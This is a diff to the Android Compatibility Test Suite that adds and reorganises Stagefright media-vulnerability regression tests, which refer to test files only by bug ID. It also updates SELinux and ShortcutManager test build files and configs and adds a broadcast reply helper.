diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
index 3c937670..97f427c 100644
--- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
+++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
@@ -18,12 +18,14 @@
 
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
+@SecurityTest
 public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
 
     public void test_android_bug_17262540() {
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index adca5a9..f70c03d 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015 The Android Open Source Project
+ * Copyright (C) 2016 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -43,10 +43,12 @@
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 import android.view.Surface;
+import android.webkit.cts.CtsTestServer;
 
 import java.io.IOException;
 import java.nio.ByteBuffer;
 import java.util.ArrayList;
+import java.util.HashMap;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.ReentrantLock;
 
@@ -57,6 +59,7 @@
  * Verify that the device is not vulnerable to any known Stagefright
  * vulnerabilities.
  */
+@SecurityTest
 public class StagefrightTest extends InstrumentationTestCase {
     static final String TAG = "StagefrightTest";
 
@@ -71,6 +74,39 @@
      ***********************************************************/
 
     @SecurityTest
+    public void testStagefright_bug_37079296() throws Exception {
+        doStagefrightTest(R.raw.bug_37079296);
+    }
+
+    @SecurityTest
+    public void testStagefright_bug_38342499() throws Exception {
+        doStagefrightTest(R.raw.bug_38342499);
+    }
+
+    @SecurityTest
+    public void testStagefright_bug_23270724() throws Exception {
+        doStagefrightTest(R.raw.bug_23270724_1);
+        doStagefrightTest(R.raw.bug_23270724_2);
+    }
+
+    @SecurityTest
+    public void testStagefright_bug_22771132() throws Exception {
+        doStagefrightTest(R.raw.bug_22771132);
+    }
+
+    public void testStagefright_bug_21443020() throws Exception {
+        doStagefrightTest(R.raw.bug_21443020_webm);
+    }
+
+    public void testStagefright_bug_34360591() throws Exception {
+        doStagefrightTest(R.raw.bug_34360591);
+    }
+
+    public void testStagefright_bug_35763994() throws Exception {
+        doStagefrightTest(R.raw.bug_35763994);
+    }
+
+    @SecurityTest
     public void testStagefright_bug_33137046() throws Exception {
         doStagefrightTest(R.raw.bug_33137046);
     }
@@ -161,13 +197,13 @@
     }
 
     @SecurityTest
-    public void testStagefright_bug_32873375() throws Exception {
-        doStagefrightTest(R.raw.bug_32873375);
+    public void testStagefright_bug_26366256() throws Exception {
+        doStagefrightTest(R.raw.bug_26366256);
     }
 
     @SecurityTest
-    public void testStagefright_bug_26366256() throws Exception {
-        doStagefrightTest(R.raw.bug_26366256);
+    public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
+        doStagefrightTest(R.raw.cve_2016_2429_b_27211885);
     }
 
     /***********************************************************
@@ -176,11 +212,21 @@
      ***********************************************************/
 
     @SecurityTest
+    public void testStagefright_bug_34097672() throws Exception {
+        doStagefrightTest(R.raw.bug_34097672);
+    }
+
+    @SecurityTest
     public void testStagefright_bug_33818508() throws Exception {
         doStagefrightTest(R.raw.bug_33818508);
     }
 
     @SecurityTest
+    public void testStagefright_bug_32873375() throws Exception {
+        doStagefrightTest(R.raw.bug_32873375);
+    }
+
+    @SecurityTest
     public void testStagefright_bug_25765591() throws Exception {
         doStagefrightTest(R.raw.bug_25765591);
     }
@@ -246,7 +292,6 @@
         doStagefrightTest(R.raw.cve_2015_3871);
     }
 
-    @SecurityTest
     public void testStagefright_bug_26070014() throws Exception {
         doStagefrightTest(R.raw.bug_26070014);
     }
@@ -256,11 +301,6 @@
     }
 
     @SecurityTest
-    public void testStagefright_cve_2015_6608_b_23680780() throws Exception {
-        doStagefrightTest(R.raw.cve_2015_6608_b_23680780);
-    }
-
-    @SecurityTest
     public void testStagefright_bug_28333006() throws Exception {
         doStagefrightTest(R.raw.bug_28333006);
     }
@@ -281,19 +321,48 @@
     }
 
     @SecurityTest
+    public void testStagefright_cve_2015_6608_b_23680780() throws Exception {
+        doStagefrightTest(R.raw.cve_2015_6608_b_23680780);
+    }
+
+    @SecurityTest
     public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
         doStagefrightTest(R.raw.bug_27855419);
     }
 
+    public void testStagefright_bug_19779574() throws Exception {
+        doStagefrightTest(R.raw.bug_19779574);
+    }
+
+    /***********************************************************
+     to prevent merge conflicts, add N tests below this comment,
+     before any existing test methods
+     ***********************************************************/
+
     @SecurityTest
-    public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2429_b_27211885);
+    public void testStagefright_bug_35467107() throws Exception {
+        doStagefrightTest(R.raw.bug_35467107);
+    }
+
+    public void testStagefright_bug_34031018() throws Exception {
+        doStagefrightTest(R.raw.bug_34031018_32bit);
+        doStagefrightTest(R.raw.bug_34031018_64bit);
     }
 
     private void doStagefrightTest(final int rid) throws Exception {
         doStagefrightTestMediaPlayer(rid);
         doStagefrightTestMediaCodec(rid);
         doStagefrightTestMediaMetadataRetriever(rid);
+
+        Context context = getInstrumentation().getContext();
+        Resources resources =  context.getResources();
+        CtsTestServer server = new CtsTestServer(context);
+        String rname = resources.getResourceEntryName(rid);
+        String url = server.getAssetUrl("raw/" + rname);
+        doStagefrightTestMediaPlayer(url);
+        doStagefrightTestMediaCodec(url);
+        doStagefrightTestMediaMetadataRetriever(url);
+        server.shutdown();
     }
 
     private Surface getDummySurface() {
@@ -393,8 +462,28 @@
     }
 
     private void doStagefrightTestMediaPlayer(final int rid) throws Exception {
+        doStagefrightTestMediaPlayer(rid, null);
+    }
 
-        String name = getInstrumentation().getContext().getResources().getResourceEntryName(rid);
+    private void doStagefrightTestMediaPlayer(final String url) throws Exception {
+        doStagefrightTestMediaPlayer(-1, url);
+    }
+
+    private void closeQuietly(AutoCloseable closeable) {
+        if (closeable != null) {
+            try {
+                closeable.close();
+            } catch (RuntimeException rethrown) {
+                throw rethrown;
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    private void doStagefrightTestMediaPlayer(final int rid, final String uri) throws Exception {
+
+        String name = uri != null ? uri :
+            getInstrumentation().getContext().getResources().getResourceEntryName(rid);
         Log.i(TAG, "start mediaplayer test for: " + name);
 
         final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
@@ -409,16 +498,23 @@
                 mp.setOnCompletionListener(mpcl);
                 Surface surface = getDummySurface();
                 mp.setSurface(surface);
+                AssetFileDescriptor fd = null;
                 try {
-                    AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
-                        .openRawResourceFd(rid);
+                    if (uri == null) {
+                        fd = getInstrumentation().getContext().getResources()
+                                .openRawResourceFd(rid);
 
-                    mp.setDataSource(fd.getFileDescriptor(),
-                                     fd.getStartOffset(),
-                                     fd.getLength());
+                        mp.setDataSource(fd.getFileDescriptor(),
+                                         fd.getStartOffset(),
+                                         fd.getLength());
 
+                    } else {
+                        mp.setDataSource(uri);
+                    }
                     mp.prepareAsync();
                 } catch (Exception e) {
+                } finally {
+                    closeQuietly(fd);
                 }
 
                 Looper.loop();
@@ -435,6 +531,14 @@
     }
 
     private void doStagefrightTestMediaCodec(final int rid) throws Exception {
+        doStagefrightTestMediaCodec(rid, null);
+    }
+
+    private void doStagefrightTestMediaCodec(final String url) throws Exception {
+        doStagefrightTestMediaCodec(-1, url);
+    }
+
+    private void doStagefrightTestMediaCodec(final int rid, final String url) throws Exception {
 
         final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
 
@@ -453,6 +557,7 @@
                     mp.setDataSource(fd.getFileDescriptor(),
                                      fd.getStartOffset(),
                                      fd.getLength());
+                    fd.close();
                 } catch (Exception e) {
                     // this is a known-good file, so no failure should occur
                     fail("setDataSource of known-good file failed");
@@ -472,15 +577,25 @@
         }
 
         Resources resources =  getInstrumentation().getContext().getResources();
-        AssetFileDescriptor fd = resources.openRawResourceFd(rid);
         MediaExtractor ex = new MediaExtractor();
-        try {
-            ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
-        } catch (IOException e) {
-            // ignore
+        if (url == null) {
+            AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+            try {
+                ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+            } catch (IOException e) {
+                // ignore
+            } finally {
+                closeQuietly(fd);
+            }
+        } else {
+            try {
+                ex.setDataSource(url);
+            } catch (Exception e) {
+                // indicative of problems with our tame CTS test web server
+            }
         }
         int numtracks = ex.getTrackCount();
-        String rname = resources.getResourceEntryName(rid);
+        String rname = url != null ? url: resources.getResourceEntryName(rid);
         Log.i(TAG, "start mediacodec test for: " + rname + ", which has " + numtracks + " tracks");
         for (int t = 0; t < numtracks; t++) {
             // find all the available decoders for this format
@@ -513,7 +628,12 @@
                 Log.w(TAG, "no codecs for track " + t + ", type " + mime);
             }
             // decode this track once with each matching codec
-            ex.selectTrack(t);
+            try {
+                ex.selectTrack(t);
+            } catch (IllegalArgumentException e) {
+                Log.w(TAG, "couldn't select track " + t);
+                // continue on with codec initialization anyway, since that might still crash
+            }
             for (String codecName: matchingCodecs) {
                 Log.i(TAG, "Decoding track " + t + " using codec " + codecName);
                 ex.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
@@ -534,6 +654,7 @@
                     while (true) {
                         int flags = ex.getSampleFlags();
                         long time = ex.getSampleTime();
+                        ex.getCachedDuration();
                         int bufidx = codec.dequeueInputBuffer(5000);
                         if (bufidx >= 0) {
                             int n = ex.readSampleData(inputBuffers[bufidx], 0);
@@ -572,7 +693,17 @@
         thr.stopLooper();
         thr.join();
     }
+
     private void doStagefrightTestMediaMetadataRetriever(final int rid) throws Exception {
+        doStagefrightTestMediaMetadataRetriever(rid, null);
+    }
+
+    private void doStagefrightTestMediaMetadataRetriever(final String url) throws Exception {
+        doStagefrightTestMediaMetadataRetriever(-1, url);
+    }
+
+    private void doStagefrightTestMediaMetadataRetriever(
+            final int rid, final String url) throws Exception {
 
         final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
 
@@ -582,8 +713,9 @@
 
                 MediaPlayer mp = new MediaPlayer();
                 mp.setOnErrorListener(mpcl);
+                AssetFileDescriptor fd = null;
                 try {
-                    AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+                    fd = getInstrumentation().getContext().getResources()
                         .openRawResourceFd(R.raw.good);
 
                     // the onErrorListener won't receive MEDIA_ERROR_SERVER_DIED until
@@ -591,6 +723,7 @@
                     mp.setDataSource(fd.getFileDescriptor(),
                                      fd.getStartOffset(),
                                      fd.getLength());
+                    fd.close();
                 } catch (Exception e) {
                     // this is a known-good file, so no failure should occur
                     fail("setDataSource of known-good file failed");
@@ -610,22 +743,33 @@
         }
 
         Resources resources =  getInstrumentation().getContext().getResources();
-        AssetFileDescriptor fd = resources.openRawResourceFd(rid);
         MediaMetadataRetriever retriever = new MediaMetadataRetriever();
-        try {
-            retriever.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
-        } catch (RuntimeException e) {
-            // ignore
+        if (url == null) {
+            AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+            try {
+                retriever.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+            } catch (Exception e) {
+                // ignore
+            } finally {
+                closeQuietly(fd);
+            }
+        } else {
+            try {
+                retriever.setDataSource(url, new HashMap<String, String>());
+            } catch (Exception e) {
+                // indicative of problems with our tame CTS test web server
+            }
         }
         retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION);
         retriever.getEmbeddedPicture();
         retriever.getFrameAtTime();
 
         retriever.release();
-        String rname = resources.getResourceEntryName(rid);
+        String rname = url != null ? url : resources.getResourceEntryName(rid);
         String cve = rname.replace("_", "-").toUpperCase();
         assertFalse("Device *IS* vulnerable to " + cve,
                     mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
         thr.stopLooper();
+        thr.join();
     }
 }
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index 807412b..ef9316f 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -13,7 +13,6 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-
 package android.security.cts;
 
 import junit.framework.TestCase;
@@ -24,14 +23,15 @@
 import android.media.MediaPlayer;
 import android.media.audiofx.Visualizer;
 import android.test.AndroidTestCase;
-import android.test.InstrumentationTestCase;
 import android.util.Log;
 
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Method;
 import java.util.UUID;
 
-public class VisualizerEffectTest extends InstrumentationTestCase {
+
+@SecurityTest
+public class VisualizerEffectTest extends AndroidTestCase {
     private String TAG = "VisualizerEffectTest";
     @Override
     protected void setUp() throws Exception {
@@ -54,7 +54,7 @@
                 AudioEffect ae = null;
                 MediaPlayer mp = null;
                 try {
-                    mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
+                    mp = MediaPlayer.create(getContext(), R.raw.good);
                     Constructor ct = AudioEffect.class.getConstructor(UUID.class, UUID.class,
                             int.class, int.class);
                     ae = (AudioEffect) ct.newInstance(descriptors[visualizerIndex].type,
@@ -81,4 +81,4 @@
             Log.w(TAG,"No visualizer found to test");
         }
     }
-}
+}
\ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/VoldExploitTest.java b/tests/tests/security/src/android/security/cts/VoldExploitTest.java
index 248579c..a68d5d0 100644
--- a/tests/tests/security/src/android/security/cts/VoldExploitTest.java
+++ b/tests/tests/security/src/android/security/cts/VoldExploitTest.java
@@ -18,8 +18,10 @@
 
 import android.content.Context;
 import android.os.storage.StorageManager;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
+@SecurityTest
 public class VoldExploitTest extends AndroidTestCase {
 
     /**
diff --git a/tests/tests/security/src/android/security/cts/X509CertChainBuildingTest.java b/tests/tests/security/src/android/security/cts/X509CertChainBuildingTest.java
index 70e345d..76449fa 100644
--- a/tests/tests/security/src/android/security/cts/X509CertChainBuildingTest.java
+++ b/tests/tests/security/src/android/security/cts/X509CertChainBuildingTest.java
@@ -18,6 +18,7 @@
 
 import android.content.res.AssetManager;
 import android.net.http.X509TrustManagerExtensions;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.File;
@@ -40,6 +41,7 @@
  * {@link X509TrustManagerExtensions#checkServerTrusted(X509Certificate[], String, String)} when
  * multiple possible certificate paths exist.
  */
+@SecurityTest
 public class X509CertChainBuildingTest extends AndroidTestCase {
     private static final String CERT_ASSET_DIR = "path_building";
 
diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
index bbc70a9..fc28247 100644
--- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
+++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
@@ -25,6 +25,7 @@
 
 import android.security.cts.R;
 
+@SecurityTest
 public class ZeroHeightTiffTest extends AndroidTestCase {
     /**
      * Verifies that the device fails to decode a zero height tiff file.
diff --git a/tests/tests/selinux/selinuxTargetSdk/Android.mk b/tests/tests/selinux/selinuxTargetSdk/Android.mk
index 6ab5ed7..fd4aaa3 100755
--- a/tests/tests/selinux/selinuxTargetSdk/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk/Android.mk
@@ -18,10 +18,8 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdkTestCases
 LOCAL_SDK_VERSION := current
diff --git a/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
index c29fd6c..8e394d8 100644
--- a/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Permission Selinux test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSelinuxTargetSdkTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/selinux/selinuxTargetSdk2/Android.mk b/tests/tests/selinux/selinuxTargetSdk2/Android.mk
index b3f386e..9397f97 100755
--- a/tests/tests/selinux/selinuxTargetSdk2/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk2/Android.mk
@@ -18,10 +18,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdk2TestCases
 LOCAL_SDK_VERSION := current
diff --git a/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
index fe515f6..b53a7c4 100644
--- a/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Permission Selinux test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSelinuxTargetSdk2TestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/shortcutmanager/Android.mk b/tests/tests/shortcutmanager/Android.mk
index 8c03be7..49a3b70 100755
--- a/tests/tests/shortcutmanager/Android.mk
+++ b/tests/tests/shortcutmanager/Android.mk
@@ -24,7 +24,7 @@
     android-support-test \
     android-support-v4 \
     mockito-target-minus-junit4 \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
     ShortcutManagerTestUtils
diff --git a/tests/tests/shortcutmanager/AndroidManifest.xml b/tests/tests/shortcutmanager/AndroidManifest.xml
index 1fc96fb..d69ce5b 100755
--- a/tests/tests/shortcutmanager/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/AndroidManifest.xml
@@ -43,6 +43,13 @@
             </intent-filter>
         </activity-alias>
 
+        <activity-alias android:name="main_shortcut_config"
+                        android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.CREATE_SHORTCUT" />
+            </intent-filter>
+        </activity-alias>
+
         <!-- It's not exporeted, but should still be launchable. -->
         <activity android:name="android.content.pm.cts.shortcutmanager.ShortcutLaunchedActivity"
             android:exported="false"/>
diff --git a/tests/tests/shortcutmanager/AndroidTest.xml b/tests/tests/shortcutmanager/AndroidTest.xml
index 31b6b36..4e98593 100644
--- a/tests/tests/shortcutmanager/AndroidTest.xml
+++ b/tests/tests/shortcutmanager/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for ShortcutManager CTS test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsShortcutManagerTestCases.apk" />
         <option name="test-file-name" value="CtsShortcutManagerPackage1.apk" />
@@ -29,5 +30,6 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.content.pm.cts.shortcutmanager" />
+        <option name="runtime-hint" value="22m30s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/shortcutmanager/common/src/android.content.pm.cts.shortcutmanager.common/Constants.java b/tests/tests/shortcutmanager/common/src/android.content.pm.cts.shortcutmanager.common/Constants.java
index 7ca5336..9d3db4a 100644
--- a/tests/tests/shortcutmanager/common/src/android.content.pm.cts.shortcutmanager.common/Constants.java
+++ b/tests/tests/shortcutmanager/common/src/android.content.pm.cts.shortcutmanager.common/Constants.java
@@ -15,11 +15,13 @@
  */
 package android.content.pm.cts.shortcutmanager.common;
 
+import java.security.SecureRandom;
+
 public class Constants {
     public static final String ACTION_THROTTLING_TEST =
             "android.content.pm.cts.shortcutmanager.ACTION_THROTTLING_TEST";
-    public static final String ACTION_THROTTLING_REPLY =
-            "android.content.pm.cts.shortcutmanager.ACTION_THROTTLING_REPLY";
+    public static final String ACTION_REPLY =
+            "android.content.pm.cts.shortcutmanager.ACTION_REPLY";
 
     public static final String EXTRA_METHOD = "method";
     public static final String EXTRA_REPLY_ACTION = "reply_action";
@@ -37,4 +39,14 @@
 
     public static final String INLINE_REPLY_TITLE = "InlineReplyTestTitle";
     public static final String INLINE_REPLY_REMOTE_INPUT_CAPTION = "__INLINE_REPLY_REMOTE_INPUT__";
+
+    public static final String IGNORE = "IGNORE";
+    public static final String REQUEST_IGNORED_MESSAGE = "REQUEST_IGNORED_MESSAGE";
+
+    public static final String ALREADY_PINNED = "ALREADY_PINNED";
+
+    public static final String HAS_ICON = "HAS_ICON";
+    public static final String LABEL = "LABEL";
+
+    public static final SecureRandom sRandom = new SecureRandom();
 }
diff --git a/tests/tests/shortcutmanager/common/src/android.content.pm.cts.shortcutmanager.common/ReplyUtil.java b/tests/tests/shortcutmanager/common/src/android.content.pm.cts.shortcutmanager.common/ReplyUtil.java
new file mode 100644
index 0000000..b1b0ae5
--- /dev/null
+++ b/tests/tests/shortcutmanager/common/src/android.content.pm.cts.shortcutmanager.common/ReplyUtil.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcutmanager.common;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.retryUntil;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.util.Log;
+
+import junit.framework.Assert;
+
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Consumer;
+
+public class ReplyUtil {
+    private ReplyUtil() {
+    }
+
+    private static final String MAIN_CTS_PACKAGE = "android.content.pm.cts.shortcutmanager";
+
+    public static void runTestAndReply(Context context, String replyAction, Runnable test) {
+        try {
+            test.run();
+
+            sendReply(context, replyAction, null);
+        } catch (Throwable e) {
+            String error = "Test failed: " + e.getMessage() + "\n" + Log.getStackTraceString(e);
+            sendReply(context, replyAction, error);
+        }
+    }
+
+    public static void sendReply(Context context, String replyAction,
+            String failureMessageOrNullForSuccess) {
+        // Create the reply bundle.
+        final Bundle ret = new Bundle();
+        if (failureMessageOrNullForSuccess == null) {
+            ret.putBoolean("success", true);
+        } else {
+            ret.putString("error", failureMessageOrNullForSuccess);
+        }
+
+        // Send reply
+        final Intent reply = new Intent(replyAction).setPackage(MAIN_CTS_PACKAGE);
+        reply.putExtras(ret);
+
+        context.sendBroadcast(reply);
+    }
+
+    public static void sendSuccessReply(Context context, String replyAction) {
+        sendReply(context, replyAction, null);
+    }
+
+    public static void invokeAndWaitForReply(Context context, Consumer<String> r) {
+        final AtomicReference<Intent> ret = new AtomicReference<>();
+
+        // Register the reply receiver
+
+        // Use a random reply action every time.
+        final String replyAction = Constants.ACTION_REPLY + Constants.sRandom.nextLong();
+        final IntentFilter filter = new IntentFilter(replyAction);
+
+        final BroadcastReceiver resultReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                ret.set(intent);
+            }
+        };
+
+        context.registerReceiver(resultReceiver, filter);
+
+        try {
+            // Run the code.
+            r.accept(replyAction);
+
+            // Wait for the response.
+            retryUntil(() -> ret.get() != null, "Didn't receive result broadcast", 120);
+
+            if (ret.get().getExtras().getBoolean("success")) {
+                return;
+            }
+            Assert.fail(ret.get().getExtras().getString("error"));
+        } finally {
+            context.unregisterReceiver(resultReceiver);
+        }
+    }
+}
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
index acdb149..a11c978 100644
--- a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
+++ b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
@@ -23,7 +23,17 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
+        $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
 
 LOCAL_SDK_VERSION := current
 
@@ -43,7 +53,17 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
+        $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
 
 LOCAL_SDK_VERSION := current
 
@@ -63,7 +83,17 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
+        $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest/AndroidManifest.xml b/tests/tests/shortcutmanager/packages/launchermanifest/AndroidManifest.xml
index 4290c7f..1872a7d 100755
--- a/tests/tests/shortcutmanager/packages/launchermanifest/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/packages/launchermanifest/AndroidManifest.xml
@@ -43,6 +43,11 @@
                 <category android:name="android.intent.category.HOME" />
             </intent-filter>
         </activity-alias>
+        <activity android:name="ShortcutConfirmPin">
+            <intent-filter>
+                <action android:name="android.content.pm.action.CONFIRM_PIN_SHORTCUT" />
+            </intent-filter>
+        </activity>
     </application>
 </manifest>
 
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
index 4aebb74..bc4aaa7 100644
--- a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
+++ b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
@@ -22,7 +22,17 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
+        $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
index 458cb4e..1103194 100644
--- a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
+++ b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
